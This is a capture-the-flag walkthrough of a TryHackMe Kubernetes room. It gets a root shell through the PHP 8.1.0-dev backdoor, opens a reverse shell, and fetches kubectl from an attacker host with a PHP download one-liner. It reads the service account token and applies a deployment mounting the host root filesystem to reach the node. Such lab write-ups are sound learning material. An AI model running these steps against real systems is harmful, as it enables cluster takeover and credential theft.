This walk through of TryHackMe room “Frank and Herby try again…..” goes over how to escape from a container to take over the underlying node.
This room is a sequel of Frank & Herby make an app which is also Kubernetes themed.
Server
Lets start off by seeing whats running on the server by doing a quick nmap scan. Additionally I scan for Kubernetes ports since that is the theme.
nmap -T4 10.10.16.132
# 22/tcp open ssh
nmap -T4 10.10.16.132 -p 6443,2379,2380,10250,10259,10257
# 2379/tcp closed etcd-client
# 2380/tcp closed etcd-server
# 6443/tcp closed sun-sr-https
# 10250/tcp open unknown (kubelet api)
# 10257/tcp open unknown (kube control manager)
# 10259/tcp open unknown (kube scheduler)
nmap -T4 10.10.16.132 -p 30000-32767
# 30679/tcp open unknown
nmap -T4 10.10.16.132 -p 30679 -sV
# 30679/tcp open http PHP cli server 5.5 or later (PHP 8.1.0-dev)
We found a web server running php on a node port, lets visit the page.
Looking up vulnerabilities for PHP 8.1.0-dev
I found this article https://flast101.github.io/php-8.1.0-dev-backdoor-rce/ (reminds me of xz).
Using the POC python code it allows us to create a remote shell on the server.
python3 php.py
# Enter the host url:
# http://10.10.16.132:30679/
# Interactive shell is opened on http://10.10.16.132:30679/
# Can't acces tty; job crontol turned off.
# $ id
# uid=0(root) gid=0(root) groups=0(root)
# <html>...
We’ll that worked, lets find that user flag
Container
Looking in the user web server, home directory, and root paths don’t show anything.
From a df -h
it shows there is a service account attached to the pod. Lets try to find if they have any permissions
ls -l /run/secrets/kubernetes.io/serviceaccount
# lrwxrwxrwx 1 root root 13 Apr 6 00:58 ca.crt -> ..data/ca.crt
# lrwxrwxrwx 1 root root 16 Apr 6 00:58 namespace -> ..data/namespace
# lrwxrwxrwx 1 root root 12 Apr 6 00:58 token -> ..data/token
cat /run/secrets/kubernetes.io/serviceaccount/namespace
# frankland
cat /run/secrets/kubernetes.io/serviceaccount/token
# eyJhbGciOiJSUzI1.....
env | grep KUBERNETES
# ...
# KUBERNETES_PORT_443_TCP=tcp://10.152.183.1:443
which curl
# Nothin
We need to install some tool to make requests to the api server with
apt install -y curl
# No internet access :(
Maybe there is some other tool on the system, nothing that I could find. At this point I decided to look into a better reverse shell, because I think we can use php/curl to download files.
New reverse shell
ncat -lvnp 8080
# Ncat: Version 7.80 ( https://nmap.org/ncat )
# Ncat: Listening on :::8080
# Ncat: Listening on 0.0.0.0:8080
python3 php2.py http://10.10.13.149:30679/ 10.6.61.117 8080
# Intentionally hangs
# Now we have a shell
# root@php-deploy-6d998f68b9-wlslz:/var/www/html#
The following command can be saved into a file in /var/www/html/foo.php
which when the page is visited will download a file (kubectl) that we host on our local machine.
<?php
file_put_contents('kubectl', file_get_contents('http://10.6.61.117:9000/kubectl'))
?>
Theres defintly a better way but I just copied it line by line with echo. Stop the remote shell and make a http request against the file. Now when checking the file system it should be there.
root@php-deploy-6d998f68b9-wlslz:/var/www/html# ls
# foo.php
# index.php
# info.php
# kubectl
chmod +x kubectl
./kubectl auth can-i --list
# Resources Non-Resource URLs Resource Names Verbs
# *.* [] [] [*]
# [*] [] [*]
Cluster
We finally did it! And full permissions on that, lets enumerate the thing
./kubectl get pods -A
# NAMESPACE NAME READY STATUS RESTARTS AGE
# kube-system calico-node-hhvhk 1/1 Running 16 (55m ago) 2y17d
# frankland php-deploy-6d998f68b9-wlslz 1/1 Running 3 (55m ago) 2y16d
# kube-system coredns-64c6478b6c-kj7d2 1/1 Running 4 (55m ago) 2y17d
# kube-system calico-kube-controllers-5c5c6c96d9-zf4jg 1/1 Running 17 (52m ago) 2y17d
./kubectl get secrets -A
# There are a lot but the ones in a custom namespace jump out
# frankland default-token-5fdt4 kubernetes.io/service-account-token 3 2y17d
# frankland op-token-26qmx kubernetes.io/service-account-token 3 2y17d
# Notining we actually need (not a flag)
./kubectl get pods -n frankland php-deploy-6d998f68b9-wlslz -o yaml
# volumes:
# - hostPath:
# path: /home/herby/app
# type: Directory
If we edit the deployment to mount /home/herby
we can maybe get the user flag. Alternatively we can mount the root directory and then have access to everything. 😋
Lets copy over a file from out machine to create a new deployment that mounts the root directory to the pod
apiVersion: apps/v1
kind: Deployment
metadata:
name: php-deploy-2
namespace: frankland
spec:
replicas: 1
selector:
matchLabels:
app: php-deploy
template:
metadata:
labels:
app: php-deploy
spec:
containers:
- image: vulhub/php:8.1-backdoor
name: php-deploy
ports:
- containerPort: 80
protocol: TCP
volumeMounts:
- mountPath: /var/www/html
name: frank
- mountPath: /rooted
name: root
volumes:
- hostPath:
path: /home/herby/app
type: Directory
name: frank
- hostPath:
path: /
type: Directory
name: root
Same janky php script as before to copy the file
<?php
file_put_contents('backdoor.yaml', file_get_contents('http://10.6.61.117:9000/backdoor.yaml'))
?>
Now we can apply the file and extract the juicy flags.
./kubectl apply -f backdoor.yaml
./kubectl get pods -n frankland
# NAME READY STATUS RESTARTS AGE
# php-deploy-6d998f68b9-wlslz 1/1 Running 3 (70m ago) 2y16d
# php-deploy-2-d87d74b9c-9r4lh 1/1 Running 0 117s
./kubectl exec -n frankland -it php-deploy-2-d87d74b9c-9r4lh -- ls -l /
# drwxr-xr-x 20 root root 4096 Mar 20 2022 rooted
./kubectl exec -n frankland -it php-deploy-2-d87d74b9c-9r4lh -- cat /rooted/home/herby/user.txt
# THM{USER_FLAG}
./kubectl exec -n frankland -it php-deploy-2-d87d74b9c-9r4lh -- cat /rooted/root/root.txt
# THM{ROOT_FLAG}
Simple once you get around dealing with all the non interactive shells and no internet connectivity